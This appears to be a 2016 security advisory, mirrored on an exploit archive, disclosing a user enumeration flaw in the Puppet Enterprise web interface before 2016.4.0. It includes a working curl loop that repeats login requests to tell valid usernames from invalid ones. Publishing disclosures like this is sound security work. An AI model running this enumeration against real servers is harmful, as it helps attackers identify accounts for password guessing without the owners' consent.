what you don't know can hurt you

Puppet Enterprise Web Interface User Enumeration

Puppet Enterprise Web Interface User Enumeration
Posted Oct 22, 2016
Authored by hyp3rlinx | Site hyp3rlinx.altervista.org

Puppet Enterprise Web Interface versions prior to 2016.4.0 suffer from a user enumeration vulnerability.

tags | exploit, web
SHA-256 | 54d7ee759e692370673e959d8a665bb7bb0ccdcfb52e28fb2e44109f9eda1fc7

Puppet Enterprise Web Interface User Enumeration

Change Mirror Download
[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/PUPPET-USER-ENUMERATION.txt

[+] ISR: ApparitionSec



Vendor:
==============
www.puppet.com



Product:
===============================
Puppet Enterprise Web Interface

Tested in version < 2016.4.0

Puppet Enterprise is the leading platform for automatically delivering,
operating and securing your infrastructure.



Vulnerability Type:
===================
User Enumeration



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

By sending remote HTTP request to Puppet Enterprise Web Interface it is
possible to enumerate valid user account names by sending more than 10
requests.
If user does not exist we will continue to get 'Authentication failed.'
HTTP response from the victim server. However, if the user does exist we
will no longer receive such a message confirming the user exists.



Exploit code(s):
================

Send login request 11 times, after 10 we will know if user exists or not.

FOR /l %i in (1,1,11) DO curl -k
https://victim-puppet-server/auth/login?redirect=Enum-Users -d
username=IDONTEXIST -d password=1

HTTP 200 OK
'Authentication failed.'

FOR /l %i in (1,1,11) DO curl -k
https://victim-puppet-server/auth/login?redirect=Enum-Users -d
username=BOZO -d password=1

HTTP 200 OK



Disclosure Timeline:
=======================================
Vendor Notification: August 23, 2016
Vendor Acknowledgement: August 23, 2016
Vendor Releases Version: 2016.4.0
October 17, 2016 : Public Disclosure




Severity Level:
================
Low



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.

hyp3rlinx
Login or Register to add favorites

File Archive:

May 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    0 Files
  • 2
    May 2nd
    15 Files
  • 3
    May 3rd
    19 Files
  • 4
    May 4th
    24 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    14 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    13 Files
  • 10
    May 10th
    7 Files
  • 11
    May 11th
    99 Files
  • 12
    May 12th
    45 Files
  • 13
    May 13th
    7 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    26 Files
  • 18
    May 18th
    4 Files
  • 19
    May 19th
    17 Files
  • 20
    May 20th
    2 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close